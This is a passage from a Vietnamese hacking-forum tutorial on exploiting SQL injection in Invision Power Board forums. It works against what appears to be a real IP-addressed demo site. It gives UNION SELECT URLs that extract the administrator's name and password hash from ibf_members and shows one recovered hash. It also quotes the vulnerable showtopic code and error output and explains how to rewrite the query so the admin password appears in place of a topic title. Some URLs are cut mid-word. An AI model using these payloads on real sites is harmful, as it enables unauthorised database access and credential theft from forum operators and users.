bây giờ thì bạn chỉ cần thay cái gía trị của table ibf_wish_main thành table ibf_members và ở column số 2 thì bạn thay vào đó column tên của admin là name và column thứ 8 password !!!! (các column của ibf_members thì bạn vào trong phpmyadmin rồi nghiên cứu! ở đây mình chỉ hướng dẫn cho các bạn đã biết vè nó rồi! OK!) và bây giờ câu lệnh của nó là : http://72.36.192.69/~phucducc/demo/uocnguy 0union%20SELECT 1,name,3,4,5,6,7,password FROM ibf_members WHERE ID LIKE 1 bạn đã thấy gì chưa? Ước nguyện của admin admin đến từ 3 admin ước nguyện vào ngày 2000-00-04 Ước nguyện là : 8005125c396680661893d36fc0723158 b. cách thứ 2 là bạn đã kinh nghiệm và như thế thì bạn chỉ cần vào tìm hiểu xem table của cái phần bị lỗi đó có bao nhiêu column! và bạn thay dấu * bằng từng đó giá trị! ở đây là 8 column và sẽ là 1,2,3,4,5,6,7,8 và sau đó! lại Run trên Browse để xem column nào hiển thị ra! thì thay các giá trị tương ứng vào! OK! trungthep(VNISS) Kỹ Thuật, tư duy khai thác SQL Injec trong Forum (bài 2) 2. HACK lỗi ở phần Showtopic: Trích: else if ( $ibforums->input['showtopic'] != "") { $ibforums->input['act'] = "ST"; $ibforums->input['t'] = $ibforums->input['showtopic']; // Grab and cache the topic now as we need the 'f' attr for // the skins nhìn qua ta sẽ thấy là dính lỗi SQL injec ở phần showtopic! Ok ! link bình thường của nó: http://72.36.192.69/~phucducc/demo/s hp?showtopic=1 và dính lỗi : http://72.36.192.69/~phucducc/demo/ssi/ind howtopic=1' Trích: mySQL query error: SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html, f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f , ibf_categories c WHERE t.tid=1' and f.id = t.forum_id and f.category=c.id mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6 mySQL error code: Date: Wednesday 22nd of March 2006 04:04:40 AM bây giờ chúng ta sẽ vô hiệu hóa câu lệnh truy vấn của Link trên: đầu tiên thử với thay đổi giá trị http://72.36.192.69/~phucducc/demo/s hp?showtopic=1 thành http://72.36.192.69/~phucducc/demo/ssi/ind hp?showtopic=-1 bây giờ bạn chú ý là câu lệnh truy vấn của nó là: Trích: SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html,f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f, ibf_categories c WHERE t.tid=1 nghĩa là nếu bây giờ mình mà vô hiệu hóa được câu lệnh của Link trên! thì chỉ cần ta nhập vào Link trên phần Union + lệnh truy vấn của chính nó! thì ta sẽ có được nội dung của nó như ban đầu! bạn hiẻu rồi chứ! Và như thế thì thay đổi giá trị âm của Link trên thì chưa đựoc : http://72.36.192.69/~phucducc/demo/ssi/ind WHERE%20t.tid=1 và lại thử với việc thêm /* hoặc ) hay ); cái nào được thì là đúng! cuối cùng thì mình thay giá trị 1 bằng giá trị 0 và thử vào: http://72.36.192.69/~phucducc/demo/s hp?showtopic=0 và thêm phần Union: http://72.36.192.69/~phucducc/demo/ssi/ind WHERE%20t.tid=2 ok roài! vậy là việc thay giá trị Id của nó =0 là đúng! bởi vì số Id của Topic thì chẳng mấy khi có giá trị =0! mà chỉ có bắt đầu =1 trở đi! mặt khác! các bạn chú ý là khi mình thêm phần Union vào thì giá trị mà mình SELECT là Id=2 nghĩa là mình đã vô hiệu câu lệnh truy vấn của nó đi! và bắt nó truy vấn phần Id=2 vào! và nó làm việc tốt! nghĩa là bạn đã vô hiệu hóa thành công! OK! vậy là bây giờ chúng ta sẽ đi làm việc với link đã bị vô hiệu hóa là :http://72.36.192.69/~phucducc/demo/s hp?showtopic=0 ! hò! bây giờ tôi sẽ giải thích cho các bạn các ký tự t.*, f.topic_mm_id, f.name là cái gì! các bạn nhìn vào phần : Trích: SELECT t.*, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html, f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f , ibf_categories c WHERE t.tid=1 thì đoạn Trích: FROM ibf_topics t, ibf_forums f , ibf_categories c nghĩa là giá trị t là được gán giá trị là thay thế cho Table ibf_topics ; f có giá trị là Table ibf_forums và c được gán là Table ibf_categories ; (người ta có thể thay thế t,f,c bằng những chữ khác! cái đó không quan trọng!) và như thé là các bạn hiểu là t.* chính là thay thế cho ibf_topics t.* và f.topic_mm_id là thay thế cho ibf_forums.topic_mm_id !!!! và bây giờ các bạn có thế tưởg tượng ra vấn đề rùi đấy! chúng ta sẽ không đi mò mẫm đi tìm xem có bao nhiêu Colum để mà SELECT nữa! mà tôi sẽ xem là phần mà nó hiện ra trong Topic ấy! nghĩa là trong cái link này: http://72.36.192.69/~phucducc/demo/ssi/ind WHERE%20t.tid=2 thì phần tiêu đề của nó là :chào anh em! là được lưu trữ trong Column nào! (ý tưởng của tôi là muốn Pass của Admin sẽ hiện ra ở phần đó! nghĩa là đáng lẽ nó sẽ hiện ra cái nội dung của TOpic đo! nhưng mà tôi sẽ làm cho nó hiện ra Pass của Admin ở đó) Tất nhiên là nó sẽ nằm trong 3 Table ibf_topics , ibf_forums , ibf_categories thôi! vì trong cái phần SHOWTOPIC này thì nó chỉ SELECT từ 3 Table đó! Ok chưa! và tôi sẽ viết cách làm của tôi nhanh hơn! không thủ công dò tìm nữa! mệt quá! hò! bây giờ! tôi Cài Localhost và tôi install 1 forum giống như thế! và tôi vào trong DATA cải nó!(vào PHPMYADMIN) và vào phần table ibf_topics vì tôi đoán đây là phần chứa cái nội dung các Topic ! và dựa tôi chọn phần ibf_topics ! các bạn thấy phần id tôi đánh vào đó 1 số nào đó! ví dụ số 4! nó sẽ hiện ra: và bây giờ ta thấy là phần chữ: chào các bạn ! được chưa trong Cloumn : title! ok (cái ảnh này tôi lấy trong LOCALHOST để làm minh họa!) bây giờ tôi sẽ viết lại phần t.* như sau: dựa vào các Column của Topic ibf_topics thì ta có : Trích: t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes và bây giờ ta có lệnh truy vấn của Link Lỗi là : Trích: SELECT t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html, f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f , ibf_categories c WHERE t.tid=1 Ok rồi! bây giờ tôi sẽ cho phần Titile là hiện ra phần Pass admin nhé! tôi sẽ thêm vao trong truy vấn của trên một trường là m với m được gán cho giá trị của table ibf_members ! nghĩa là nó có dang: Trích: SELECT t.tid, t.title, t.description, t.state, t.posts, t.starter_id, t.start_date, t.last_poster_id, t.last_post, t.icon_id, t.starter_name, t.last_poster_name, t.poll_state, t.last_vote, t.views, t.forum_id, t.approved, t.author_mode, t.pinned, t.moved_to, t.rating, t.total_votes, f.topic_mm_id, f.name as forum_name, f.quick_reply, f.id as forum_id, f.read_perms, f.reply_perms, f.parent_id, f.use_html, f.start_perms, f.allow_poll, f.password, f.posts as forum_posts, f.topics as forum_topics, f.upload_perms, f.show_rules, f.rules_text, f.rules_title, c.name as cat_name, c.id as cat_id FROM ibf_topics t, ibf_forums f , ibf_categories c, ibf_members m WHERE t.tid=1